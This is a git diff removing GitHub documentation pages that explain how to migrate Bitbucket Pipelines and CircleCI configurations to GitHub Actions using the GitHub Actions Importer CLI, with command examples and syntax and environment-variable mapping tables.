-{% data reusables.actions.actions-importer-prerequisites %}
-
-### Limitations
-
-There are some limitations when migrating from Bitbucket Pipelines to {% data variables.product.prodname_actions %} with {% data variables.product.prodname_actions_importer %}.
-
-* Images in a private AWS ECR are not supported.
-* The Bitbucket Pipelines option `size` is not supported. {% ifversion fpt or ghec %}If additional runner resources are required in {% data variables.product.prodname_actions %}, consider using {% data variables.actions.hosted_runner %}s. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners).{% endif %}
-* Metrics detailing the queue time of jobs is not supported by the `forecast` command.
-* Bitbucket [after-scripts](https://support.atlassian.com/bitbucket-cloud/docs/step-options/#After-script) are supported using {% data variables.product.prodname_actions %} `always()` in combination with checking the `steps..conclusion` of the previous step. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#steps-context).
-
- The following is an example of using the `always()` with `steps..conclusion`.
-
- ```yaml
- - name: After Script 1
- run: |-
- echo "I'm after the script ran!"
- echo "We should be grouped!"
- id: after-script-1
- if: "{% raw %}${{ always() }}{% endraw %}"
- - name: After Script 2
- run: |-
- echo "this is really the end"
- echo "goodbye, for now!"
- id: after-script-2
- if: "{% raw %}${{ steps.after-script-1.conclusion == 'success' && always() }}{% endraw %}"
- ```
-
-### Manual tasks
-
-Certain Bitbucket Pipelines constructs must be migrated manually. These include:
-
-* Secured repository, workspace, and deployment variables
-* SSH keys
-
-## Installing the {% data variables.product.prodname_actions_importer %} CLI extension
-
-{% data reusables.actions.installing-actions-importer %}
-
-## Configuring credentials
-
-The `configure` CLI command is used to set required credentials and options for {% data variables.product.prodname_actions_importer %} when working with Bitbucket Pipelines and {% data variables.product.prodname_dotcom %}.
-
-1. Create a {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic).
-
- Your token must have the `workflow` scope.
-
- After creating the token, copy it and save it in a safe location for later use.
-1. Create a Workspace Access Token for Bitbucket Pipelines. For more information, see [Workspace Access Token permissions](https://support.atlassian.com/bitbucket-cloud/docs/workspace-access-token-permissions/) in the Bitbucket documentation. Your token must have the `read` scope for pipelines, projects, and repositories.
-
-1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `configure` CLI command:
-
- ```shell
- gh actions-importer configure
- ```
-
- The `configure` command will prompt you for the following information:
-
- * For "Which CI providers are you configuring?", use the arrow keys to select `Bitbucket`, press Space to select it, then press Enter.
- * For "{% data variables.product.pat_generic_caps %} for GitHub", enter the value of the {% data variables.product.pat_v1 %} that you created earlier, and press Enter.
- * For "Base url of the GitHub instance", {% ifversion ghes %}enter the URL for {% data variables.location.product_location_enterprise %}, and press Enter.{% else %}press Enter to accept the default value (`https://github.com`).{% endif %}
- * For "{% data variables.product.pat_generic_caps %} for Bitbucket", enter the Workspace Access Token that you created earlier, and press Enter.
- * For "Base url of the Bitbucket instance", enter the URL for your Bitbucket instance, and press Enter.
-
- An example of the `configure` command is shown below:
-
- ```shell
- $ gh actions-importer configure
- ✔ Which CI providers are you configuring?: Bitbucket
- Enter the following values (leave empty to omit):
- ✔ {% data variables.product.pat_generic_caps %} for GitHub: ***************
- ✔ Base url of the GitHub instance: https://github.com
- ✔ {% data variables.product.pat_generic_caps %} for Bitbucket: ********************
- ✔ Base url of the Bitbucket instance: https://bitbucket.example.com
- Environment variables successfully updated.
- ```
-
-1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `update` CLI command to connect to {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} and ensure that the container image is updated to the latest version:
-
- ```shell
- gh actions-importer update
- ```
-
- The output of the command should be similar to below:
-
- ```shell
- Updating ghcr.io/actions-importer/cli:latest...
- ghcr.io/actions-importer/cli:latest up-to-date
- ```
-
-## Perform an audit of the Bitbucket instance
-
-You can use the audit command to get a high-level view of pipelines in a Bitbucket instance.
-
-The audit command performs the following steps.
-1. Fetches all of the pipelines for a workspace.
-1. Converts pipeline to its equivalent GitHub Actions workflow.
-1. Generates a report that summarizes how complete and complex of a migration is possible with {% data variables.product.prodname_actions_importer %}.
-
-### Running the audit command
-
-To perform an audit run the following command in your terminal, replacing `:workspace` with the name of the Bitbucket workspace to audit.
-
-```bash
-gh actions-importer audit bitbucket --workspace :workspace --output-dir tmp/audit
-```
-
-Optionally, a `--project-key` option can be provided to the audit command to limit the results to only pipelines associated with a project.
-
-In the below example command `:project_key` should be replaced with the key of the project that should be audited. Project keys can be found in Bitbucket on the workspace projects page.
-
-```bash
-gh actions-importer audit bitbucket --workspace :workspace --project-key :project_key --output-dir tmp/audit
-```
-
-### Inspecting the audit results
-
-{% data reusables.actions.gai-inspect-audit %}
-
-## Forecasting usage
-
-You can use the `forecast` command to forecast potential {% data variables.product.prodname_actions %} usage by computing metrics from completed pipeline runs in your Bitbucket instance.
-
-### Running the forecast command
-
-To perform a forecast of potential GitHub Actions usage, run the following command in your terminal, replacing `:workspace` with the name of the Bitbucket workspace to forecast. By default, GitHub Actions Importer includes the previous seven days in the forecast report.
-
-```shell
-gh actions-importer forecast bitbucket --workspace :workspace --output-dir tmp/forecast_reports
-```
-
-### Forecasting a project
-
-To limit the forecast to a project, you can use the `--project-key` option. Replace the value for the `:project_key` with the project key for the project to forecast.
-
-```shell
-gh actions-importer forecast bitbucket --workspace :workspace --project-key :project_key --output-dir tmp/forecast_reports
-```
-
-### Inspecting the forecast report
-
-The `forecast_report.md` file in the specified output directory contains the results of the forecast.
-
-Listed below are some key terms that can appear in the forecast report:
-
-* The **job count** is the total number of completed jobs.
-* The **pipeline count** is the number of unique pipelines used.
-* **Execution time** describes the amount of time a runner spent on a job. This metric can be used to help plan for the cost of {% data variables.product.prodname_dotcom %}-hosted runners.
- * This metric is correlated to how much you should expect to spend in {% data variables.product.prodname_actions %}. This will vary depending on the hardware used for these minutes. You can use the [{% data variables.product.prodname_actions %} pricing calculator](https://github.com/pricing/calculator) to estimate the costs.
-* **Concurrent jobs** metrics describe the amount of jobs running at any given time.
-
-## Performing a dry-run migration
-
-You can use the dry-run command to convert a Bitbucket pipeline to an equivalent {% data variables.product.prodname_actions %} workflow(s). A dry-run creates the output files in a specified directory, but does not open a pull request to migrate the pipeline.
-
-### Running the dry-run command
-
-To perform a dry run of migrating a Bitbucket pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `:workspace` with the name of the workspace and `:repo` with the name of the repository in Bitbucket.
-
-```bash
-gh actions-importer dry-run bitbucket --workspace :workspace --repository :repo --output-dir tmp/dry-run
-```
-
-### Inspecting the converted workflows
-
-You can view the logs of the dry run and the converted workflow files in the specified output directory.
-
-{% data reusables.actions.gai-custom-transformers-rec %}
-
-## Performing a production migration
-
-You can use the migrate command to convert a Bitbucket pipeline and open a pull request with the equivalent {% data variables.product.prodname_actions %} workflow(s).
-
-### Running the migrate command
-
-To migrate a Bitbucket pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the following values.
-
-* Replace `target-url` value with the URL for your {% data variables.product.company_short %} repository.
-* Replace `:repo` with the name of the repository in Bitbucket.
-* Replace `:workspace` with the name of the workspace.
-
-```bash
-gh actions-importer migrate bitbucket --workspace :workspace --repository :repo --target-url https://github.com/:owner/:repo --output-dir tmp/dry-run
-```
-
-The command's output includes the URL of the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following:
-
-```bash
-gh actions-importer migrate bitbucket --workspace actions-importer --repository custom-trigger --target-url https://github.com/valet-dev-testing/demo-private --output-dir tmp/bitbucket
-[2023-07-18 09:56:06] Logs: 'tmp/bitbucket/log/valet-20230718-165606.log'
-[2023-07-18 09:56:24] Pull request: 'https://github.com/valet-dev-testing/demo-private/pull/55'
-```
-
-{% data reusables.actions.gai-inspect-pull-request %}
-
-## Reference
-
-This section contains reference information on environment variables, optional arguments, and supported syntax when using {% data variables.product.prodname_actions_importer %} to migrate from Bitbucket Pipelines.
-
-### Using environment variables
-
-{% data reusables.actions.gai-config-environment-variables %}
-
-{% data variables.product.prodname_actions_importer %} uses the following environment variables to connect to your Bitbucket instance.
-
-* `GITHUB_ACCESS_TOKEN`: The {% data variables.product.pat_v1 %} used to create pull requests with a transformed workflow (requires `repo` and `workflow` scopes).
-* `GITHUB_INSTANCE_URL`: The url to the target GitHub instance. (e.g. `https://github.com`)
-* `BITBUCKET_ACCESS_TOKEN`: The workspace access token with read scopes for pipeline, project, and repository.
-
-These environment variables can be specified in a `.env.local` file that will be loaded by {% data variables.product.prodname_actions_importer %} at run time. The distribution archive contains a `.env.local.template` file that can be used to create these files.
-
-### Optional arguments
-
-{% data reusables.actions.gai-optional-arguments-intro %}
-
-#### `--source-file-path`
-
-You can use the `--source-file-path` argument with the `dry-run` or `migrate` subcommands.
-
-By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from the Bitbucket instance. The `--source-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source file path instead.
-
-For example:
-
-```bash
-gh actions-importer dry-run bitbucket --workspace :workspace --repository :repo --output-dir tmp/dry-run --source-file-path path/to/my/pipeline/file.yml
-```
-
-#### `--config-file-path`
-
-You can use the `--config-file-path` argument with the `audit`, `dry-run`, and `migrate` subcommands.
-
-By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from the Bitbucket instance. The `--config-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source files instead.
-
-### Audit example
-
-In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file to perform an audit.
-
-```bash
-gh actions-importer audit bitbucket --workspace :workspace --output-dir tmp/audit --config-file-path "path/to/my/bitbucket/config.yml"
-```
-
-To audit a Bitbucket instance using a config file, the config file must be in the following format, and each `repository_slug` must be unique:
-
-```yaml
-source_files:
- - repository_slug: repo_name
- path: path/to/one/source/file.yml
- - repository_slug: another_repo_name
- path: path/to/another/source/file.yml
-```
-
-## Supported syntax for Bitbucket Pipelines
-
-The following table shows the type of properties that {% data variables.product.prodname_actions_importer %} is currently able to convert.
-
-| Bitbucket | GitHub Actions | Status |
-| :------------------- | :------------------------------------------- | -----------: |
-| `after-script` | `jobs..steps[*]` | Supported |
-| `artifacts` | `actions/upload-artifact` & `download-artifact` | Supported |
-| `caches` | `actions/cache` | Supported |
-| `clone` | `actions/checkout` | Supported |
-| `condition` | `job..steps[*].run` | Supported |
-| `deployment` | `jobs..environment` | Supported |
-| `image` | `jobs..container` | Supported |
-| `max-time` | `jobs..steps[*].timeout-minutes` | Supported |
-| `options.docker` | None | Supported |
-| `options.max-time` | `jobs..steps[*].timeout-minutes` | Supported |
-| `parallel` | `jobs.` | Supported |
-| `pipelines.branches` | `on.push` | Supported |
-| `pipelines.custom` | `on.workflow_dispatch` | Supported |
-| `pipelines.default` | `on.push` | Supported |
-| `pipelines.pull-requests` | `on.pull_requests` | Supported |
-| `pipelines.tags` | `on.tags` | Supported |
-| `runs-on` | `jobs..runs-on` | Supported |
-| `script` | `job..steps[*].run` | Supported |
-| `services` | `jobs..service` | Supported |
-| `stage` | `jobs.` | Supported |
-| `step` | `jobs..steps[*]` | Supported |
-| `trigger` | `on.workflow_dispatch` | Supported |
-| `fail-fast` | None | Unsupported |
-| `oidc` | None | Unsupported |
-| `options.size` | None | Unsupported |
-| `size` | None | Unsupported |
-
-### Environment variable mapping
-
-{% data variables.product.prodname_actions_importer %} uses the mapping in the table below to convert default Bitbucket environment variables to the closest equivalent in {% data variables.product.prodname_actions %}.
-
-| Bitbucket | GitHub Actions |
-| :------------------------------------- | :------------------------------------------------------ |
-| `CI` | {% raw %}`true`{% endraw %} |
-| `BITBUCKET_BUILD_NUMBER` | {% raw %}`${{ github.run_number }}`{% endraw %} |
-| `BITBUCKET_CLONE_DIR` | {% raw %}`${{ github.workspace }}`{% endraw %} |
-| `BITBUCKET_COMMIT` | {% raw %}`${{ github.sha }}`{% endraw %} |
-| `BITBUCKET_WORKSPACE` | {% raw %}`${{ github.repository_owner }}`{% endraw %} |
-| `BITBUCKET_REPO_SLUG` | {% raw %}`${{ github.repository }}`{% endraw %} |
-| `BITBUCKET_REPO_UUID` | {% raw %}`${{ github.repository_id }}`{% endraw %} |
-| `BITBUCKET_REPO_FULL_NAME` | {% raw %}`${{ github.repository_owner }}`{% endraw %}/{% raw %}`${{ github.repository }}`{% endraw %} |
-| `BITBUCKET_BRANCH` | {% raw %}`${{ github.ref }}`{% endraw %} |
-| `BITBUCKET_TAG` | {% raw %}`${{ github.ref }}`{% endraw %} |
-| `BITBUCKET_PR_ID` | {% raw %}`${{ github.event.pull_request.number }}`{% endraw %} |
-| `BITBUCKET_PR_DESTINATION_BRANCH` | {% raw %}`${{ github.event.pull_request.base.ref }}`{% endraw %} |
-| `BITBUCKET_GIT_HTTP_ORIGIN` | {% raw %}`${{ github.event.repository.clone_url }}`{% endraw %} |
-| `BITBUCKET_GIT_SSH_ORIGIN` | {% raw %}`${{ github.event.repository.ssh_url }}`{% endraw %} |
-| `BITBUCKET_EXIT_CODE` | {% raw %}`${{ job.status }}`{% endraw %} |
-| `BITBUCKET_STEP_UUID` | {% raw %}`${{ job.github_job }}`{% endraw %} |
-| `BITBUCKET_PIPELINE_UUID` | {% raw %}`${{ github.workflow }}`{% endraw %} |
-| `BITBUCKET_PROJECT_KEY` | {% raw %}`${{ github.repository_owner }}`{% endraw %} |
-| `BITBUCKET_PROJECT_UUID` | {% raw %}`${{ github.repository_owner }}`{% endraw %} |
-| `BITBUCKET_STEP_TRIGGERER_UUID` | {% raw %}`${{ github.actor_id }}`{% endraw %} |
-| `BITBUCKET_SSH_KEY_FILE` | {% raw %}`${{ github.workspace }}/.ssh/id_rsa`{% endraw %} |
-| `BITBUCKET_STEP_OIDC_TOKEN` | No Mapping |
-| `BITBUCKET_DEPLOYMENT_ENVIRONMENT` | No Mapping |
-| `BITBUCKET_DEPLOYMENT_ENVIRONMENT_UUID` | No Mapping |
-| `BITBUCKET_BOOKMARK` | No Mapping |
-| `BITBUCKET_PARALLEL_STEP` | No Mapping |
-| `BITBUCKET_PARALLEL_STEP_COUNT` | No Mapping |
-
-### System Variables
-
-System variables used in tasks are transformed to the equivalent bash shell variable and are assumed to be available. For example, `${system.}` will be transformed to `$variable_name`. We recommend you verify this to ensure proper operation of the workflow.
-
-## Legal notice
-
-{% data reusables.actions.actions-importer-legal-notice %}
diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-circleci-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-circleci-with-github-actions-importer.md
deleted file mode 100644
index bc372b41f340..000000000000
--- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-circleci-with-github-actions-importer.md
+++ /dev/null
@@ -1,362 +0,0 @@
----
-title: Migrating from CircleCI with GitHub Actions Importer
-intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to automate the migration of your CircleCI pipelines to {% data variables.product.prodname_actions %}.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: tutorial
-topics:
- - Migration
- - CI
- - CD
-shortTitle: CircleCI migration
-redirect_from:
- - /actions/migrating-to-github-actions/automated-migrations/migrating-from-circleci-with-github-actions-importer
----
-
-[Legal notice](#legal-notice)
-
-## About migrating from CircleCI with GitHub Actions Importer
-
-The instructions below will guide you through configuring your environment to use {% data variables.product.prodname_actions_importer %} to migrate CircleCI pipelines to {% data variables.product.prodname_actions %}.
-
-### Prerequisites
-
-* A CircleCI account or organization with projects and pipelines that you want to convert to {% data variables.product.prodname_actions %} workflows.
-* Access to create a CircleCI personal API token for your account or organization.
-{% data reusables.actions.actions-importer-prerequisites %}
-
-### Limitations
-
-There are some limitations when migrating from CircleCI to {% data variables.product.prodname_actions %} with {% data variables.product.prodname_actions_importer %}:
-
-* Automatic caching in between jobs of different workflows is not supported.
-* The `audit` command is only supported when you use a CircleCI organization account. The `dry-run` and `migrate` commands can be used with a CircleCI organization or user account.
-
-#### Manual tasks
-
-Certain CircleCI constructs must be migrated manually. These include:
-
-* Contexts
-* Project-level environment variables
-* Unknown job properties
-* Unknown orbs
-
-## Installing the {% data variables.product.prodname_actions_importer %} CLI extension
-
-{% data reusables.actions.installing-actions-importer %}
-
-## Configuring credentials
-
-The `configure` CLI command is used to set required credentials and options for {% data variables.product.prodname_actions_importer %} when working with CircleCI and {% data variables.product.prodname_dotcom %}.
-
-1. Create a {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic).
-
- Your token must have the `workflow` scope.
-
- After creating the token, copy it and save it in a safe location for later use.
-1. Create a CircleCI personal API token. For more information, see [Managing API Tokens](https://circleci.com/docs/managing-api-tokens/#creating-a-personal-api-token) in the CircleCI documentation.
-
- After creating the token, copy it and save it in a safe location for later use.
-1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `configure` CLI command:
-
- ```shell
- gh actions-importer configure
- ```
-
- The `configure` command will prompt you for the following information:
-
- * For "Which CI providers are you configuring?", use the arrow keys to select `CircleCI`, press Space to select it, then press Enter.
- * For "{% data variables.product.pat_generic_caps %} for GitHub", enter the value of the {% data variables.product.pat_v1 %} that you created earlier, and press Enter.
- * For "Base url of the GitHub instance", {% ifversion ghes %}enter the URL for {% data variables.location.product_location_enterprise %}, and press Enter.{% else %}press Enter to accept the default value (`https://github.com`).{% endif %}
- * For "{% data variables.product.pat_generic_caps %} for CircleCI", enter the value for the CircleCI personal API token that you created earlier, and press Enter.
- * For "Base url of the CircleCI instance", press Enter to accept the default value (`https://circleci.com`).
- * For "CircleCI organization name", enter the name for your CircleCI organization, and press Enter.
-
- An example of the `configure` command is shown below:
-
- ```shell
- $ gh actions-importer configure
- ✔ Which CI providers are you configuring?: CircleCI
- Enter the following values (leave empty to omit):
- ✔ {% data variables.product.pat_generic_caps %} for GitHub: ***************
- ✔ Base url of the GitHub instance: https://github.com
- ✔ {% data variables.product.pat_generic_caps %} for CircleCI: ********************
- ✔ Base url of the CircleCI instance: https://circleci.com
- ✔ CircleCI organization name: mycircleciorganization
- Environment variables successfully updated.
- ```
-
-1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `update` CLI command to connect to {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} and ensure that the container image is updated to the latest version:
-
- ```shell
- gh actions-importer update
- ```
-
- The output of the command should be similar to below:
-
- ```shell
- Updating ghcr.io/actions-importer/cli:latest...
- ghcr.io/actions-importer/cli:latest up-to-date
- ```
-
-## Perform an audit of CircleCI
-
-You can use the `audit` command to get a high-level view of all projects in a CircleCI organization.
-
-The `audit` command performs the following steps:
-
-1. Fetches all of the projects defined in a CircleCI organization.
-1. Converts each pipeline to its equivalent {% data variables.product.prodname_actions %} workflow.
-1. Generates a report that summarizes how complete and complex of a migration is possible with {% data variables.product.prodname_actions_importer %}.
-
-### Running the audit command
-
-To perform an audit of a CircleCI organization, run the following command in your terminal:
-
-```shell
-gh actions-importer audit circle-ci --output-dir tmp/audit
-```
-
-### Inspecting the audit results
-
-{% data reusables.actions.gai-inspect-audit %}
-
-## Forecast potential {% data variables.product.prodname_actions %} usage
-
-You can use the `forecast` command to forecast potential {% data variables.product.prodname_actions %} usage by computing metrics from completed pipeline runs in CircleCI.
-
-### Running the forecast command
-
-To perform a forecast of potential {% data variables.product.prodname_actions %} usage, run the following command in your terminal. By default, {% data variables.product.prodname_actions_importer %} includes the previous seven days in the forecast report.
-
-```shell
-gh actions-importer forecast circle-ci --output-dir tmp/forecast_reports
-```
-
-### Inspecting the forecast report
-
-The `forecast_report.md` file in the specified output directory contains the results of the forecast.
-
-Listed below are some key terms that can appear in the forecast report:
-
-* The **job count** is the total number of completed jobs.
-* The **pipeline count** is the number of unique pipelines used.
-* **Execution time** describes the amount of time a runner spent on a job. This metric can be used to help plan for the cost of {% data variables.product.prodname_dotcom %}-hosted runners.
-
- This metric is correlated to how much you should expect to spend in {% data variables.product.prodname_actions %}. This will vary depending on the hardware used for these minutes. You can use the [{% data variables.product.prodname_actions %} pricing calculator](https://github.com/pricing/calculator) to estimate the costs.
-* **Queue time** metrics describe the amount of time a job spent waiting for a runner to be available to execute it.
-* **Concurrent jobs** metrics describe the amount of jobs running at any given time. This metric can be used to define the number of runners you should configure.
-
-Additionally, these metrics are defined for each queue of runners in CircleCI. This is especially useful if there is a mix of hosted or self-hosted runners, or high or low spec machines, so you can see metrics specific to different types of runners.
-
-## Perform a dry-run migration of a CircleCI pipeline
-
-You can use the `dry-run` command to convert a CircleCI pipeline to an equivalent {% data variables.product.prodname_actions %} workflow. A dry-run creates the output files in a specified directory, but does not open a pull request to migrate the pipeline.
-
-To perform a dry run of migrating your CircleCI project to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `my-circle-ci-project` with the name of your CircleCI project.
-
-```shell
-gh actions-importer dry-run circle-ci --output-dir tmp/dry-run --circle-ci-project my-circle-ci-project
-```
-
-You can view the logs of the dry run and the converted workflow files in the specified output directory.
-
-{% data reusables.actions.gai-custom-transformers-rec %}
-
-## Perform a production migration of a CircleCI pipeline
-
-You can use the `migrate` command to convert a CircleCI pipeline and open a pull request with the equivalent {% data variables.product.prodname_actions %} workflow.
-
-### Running the migrate command
-
-To migrate a CircleCI pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the `target-url` value with the URL for your {% data variables.product.prodname_dotcom %} repository, and `my-circle-ci-project` with the name of your CircleCI project.
-
-```shell
-gh actions-importer migrate circle-ci --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --circle-ci-project my-circle-ci-project
-```
-
-The command's output includes the URL to the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following:
-
-```shell
-$ gh actions-importer migrate circle-ci --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --circle-ci-project my-circle-ci-project
-[2022-08-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20220916-014033.log'
-[2022-08-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1'
-```
-
-{% data reusables.actions.gai-inspect-pull-request %}
-
-## Reference
-
-This section contains reference information on environment variables, optional arguments, and supported syntax when using {% data variables.product.prodname_actions_importer %} to migrate from CircleCI.
-
-### Using environment variables
-
-{% data reusables.actions.gai-config-environment-variables %}
-
-{% data variables.product.prodname_actions_importer %} uses the following environment variables to connect to your CircleCI instance:
-
-* `GITHUB_ACCESS_TOKEN`: The {% data variables.product.pat_v1 %} used to create pull requests with a converted workflow (requires `repo` and `workflow` scopes).
-* `GITHUB_INSTANCE_URL`: The URL to the target {% data variables.product.prodname_dotcom %} instance (for example, `https://github.com`).
-* `CIRCLE_CI_ACCESS_TOKEN`: The CircleCI personal API token used to authenticate with your CircleCI instance.
-* `CIRCLE_CI_INSTANCE_URL`: The URL to the CircleCI instance (for example, `https://circleci.com`). If the variable is left unset, `https://circleci.com` is used as the default value.
-* `CIRCLE_CI_ORGANIZATION`: The organization name of your CircleCI instance.
-* `CIRCLE_CI_PROVIDER`: The location where your pipeline's source file is stored (such as `github`). Currently, only {% data variables.product.prodname_dotcom %} is supported.
-* `CIRCLE_CI_SOURCE_GITHUB_ACCESS_TOKEN` (Optional): The {% data variables.product.pat_v1 %} used to authenticate with your source {% data variables.product.prodname_dotcom %} instance (requires `repo` scope). If not provided, the value of `GITHUB_ACCESS_TOKEN` is used instead.
-* `CIRCLE_CI_SOURCE_GITHUB_INSTANCE_URL` (Optional): The URL to the source {% data variables.product.prodname_dotcom %} instance. If not provided, the value of `GITHUB_INSTANCE_URL` is used instead.
-
-These environment variables can be specified in a `.env.local` file that is loaded by {% data variables.product.prodname_actions_importer %} when it is run.
-
-### Optional arguments
-
-{% data reusables.actions.gai-optional-arguments-intro %}
-
-#### `--source-file-path`
-
-You can use the `--source-file-path` argument with the `forecast`, `dry-run`, or `migrate` subcommands.
-
-By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--source-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source file path instead.
-
-For example:
-
-```shell
-gh actions-importer dry-run circle-ci --output-dir ./output/ --source-file-path ./path/to/.circleci/config.yml
-```
-
-If you would like to supply multiple source files when running the `forecast` subcommand, you can use pattern matching in the file path value. For example, `gh forecast --source-file-path ./tmp/previous_forecast/jobs/*.json` supplies {% data variables.product.prodname_actions_importer %} with any source files that match the `./tmp/previous_forecast/jobs/*.json` file path.
-
-#### `--config-file-path`
-
-You can use the `--config-file-path` argument with the `audit`, `dry-run`, and `migrate` subcommands.
-
-By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--config-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source files instead.
-
-The `--config-file-path` argument can also be used to specify which repository a converted composite action should be migrated to.
-
-##### Audit example
-
-In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file to perform an audit.
-
-```bash
-gh actions-importer audit circle-ci --output-dir ./output/ --config-file-path ./path/to/circle-ci/config.yml
-```
-
-To audit a CircleCI instance using a config file, the config file must be in the following format, and each `repository_slug` must be unique:
-
-```yaml
-source_files:
- - repository_slug: circle-org-name/circle-project-name
- path: path/to/.circleci/config.yml
- - repository_slug: circle-org-name/some-other-circle-project-name
- path: path/to/.circleci/config.yml
-```
-
-##### Dry run example
-
-In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file as the source file to perform a dry run.
-
-The pipeline is selected by matching the `repository_slug` in the config file to the value of the `--circle-ci-organization` and `--circle-ci-project` options. The `path` is then used to pull the specified source file.
-
-```bash
-gh actions-importer dry-run circle-ci --circle-ci-project circle-org-name/circle-project-name --output-dir ./output/ --config-file-path ./path/to/circle-ci/config.yml
-```
-
-##### Specify the repository of converted composite actions
-
-{% data variables.product.prodname_actions_importer %} uses the YAML file provided to the `--config-file-path` argument to determine the repository that converted composite actions are migrated to.
-
-To begin, you should run an audit without the `--config-file-path` argument:
-
-```bash
-gh actions-importer audit circle-ci --output-dir ./output/
-```
-
-The output of this command will contain a file named `config.yml` that contains a list of all the composite actions that were converted by {% data variables.product.prodname_actions_importer %}. For example, the `config.yml` file may have the following contents:
-
-```yaml
-composite_actions:
- - name: my-composite-action.yml
- target_url: https://github.com/octo-org/octo-repo
- ref: main
-```
-
-You can use this file to specify which repository and ref a reusable workflow or composite action should be added to. You can then use the `--config-file-path` argument to provide the `config.yml` file to {% data variables.product.prodname_actions_importer %}. For example, you can use this file when running a `migrate` command to open a pull request for each unique repository defined in the config file:
-
-```bash
-gh actions-importer migrate circle-ci --circle-ci-project my-project-name --output-dir output/ --config-file-path config.yml --target-url https://github.com/my-org/my-repo
-```
-
-#### `--include-from`
-
-You can use the `--include-from` argument with the `audit` subcommand.
-
-The `--include-from` argument specifies a file that contains a line-delimited list of repositories to include in the audit of a CircleCI organization. Any repositories that are not included in the file are excluded from the audit.
-
-For example:
-
-```bash
-gh actions-importer audit circle-ci --output-dir ./output/ --include-from repositories.txt
-```
-
-The file supplied for this parameter must be a line-delimited list of repositories, for example:
-
-```text
-repository_one
-repository_two
-repository_three
-```
-
-### Supported syntax for CircleCI pipelines
-
-The following table shows the type of properties that {% data variables.product.prodname_actions_importer %} is currently able to convert.
-
-| CircleCI Pipelines | GitHub Actions | Status |
-| :------------------ | :--------------------------------- | :------------------ |
-| cron triggers | | Supported |
-| environment | - `env`
- `jobs..env`
- `jobs..steps.env`
| Supported |
-| executors | | Supported |
-| jobs | | Supported |
-| job | | Supported |
-| matrix | - `jobs..strategy`
- `jobs..strategy.matrix`
| Supported |
-| parameters | - `env`
- `workflow-dispatch.inputs`
| Supported |
-| steps | | Supported |
-| when, unless | | Supported |
-| triggers | | Supported |
-| executors | | Partially Supported |
-| orbs | | Partially Supported |
-| executors | | Unsupported |
-| setup | Not applicable | Unsupported |
-| version | Not applicable | Unsupported |
-
-For more information about supported CircleCI concept and orb mappings, see the [`github/gh-actions-importer` repository](https://github.com/github/gh-actions-importer/blob/main/docs/circle_ci/index.md).
-
-### Environment variable mapping
-
-{% data variables.product.prodname_actions_importer %} uses the mapping in the table below to convert default CircleCI environment variables to the closest equivalent in {% data variables.product.prodname_actions %}.
-
-| CircleCI | GitHub Actions |
-| :------------------------------------ | :--------------------------------------------- |
-| `CI` | {% raw %}`$CI`{% endraw %} |
-| `CIRCLE_BRANCH` | {% raw %}`${{ github.ref }}`{% endraw %} |
-| `CIRCLE_JOB` | {% raw %}`${{ github.job }}`{% endraw %} |
-| `CIRCLE_PR_NUMBER` | {% raw %}`${{ github.event.number }}`{% endraw %} |
-| `CIRCLE_PR_REPONAME` | {% raw %}`${{ github.repository }}`{% endraw %} |
-| `CIRCLE_PROJECT_REPONAME` | {% raw %}`${{ github.repository }}`{% endraw %} |
-| `CIRCLE_SHA1` | {% raw %}`${{ github.sha }}`{% endraw %} |
-| `CIRCLE_TAG` | {% raw %}`${{ github.ref }}`{% endraw %} |
-| `CIRCLE_USERNAME` | {% raw %}`${{ github.actor }}`{% endraw %} |
-| `CIRCLE_WORKFLOW_ID` | {% raw %}`${{ github.run_number }}`{% endraw %} |
-| `CIRCLE_WORKING_DIRECTORY` | {% raw %}`${{ github.workspace }}`{% endraw %} |
-| `<< pipeline.id >>` | {% raw %}`${{ github.workflow }}`{% endraw %} |
-| `<< pipeline.number >>` | {% raw %}`${{ github.run_number }}`{% endraw %} |
-| `<< pipeline.project.git_url >>` | `$GITHUB_SERVER_URL/$GITHUB_REPOSITORY` |
-| `<< pipeline.project.type >>` | `github` |
-| `<< pipeline.git.tag >>` | {% raw %}`${{ github.ref }}`{% endraw %} |
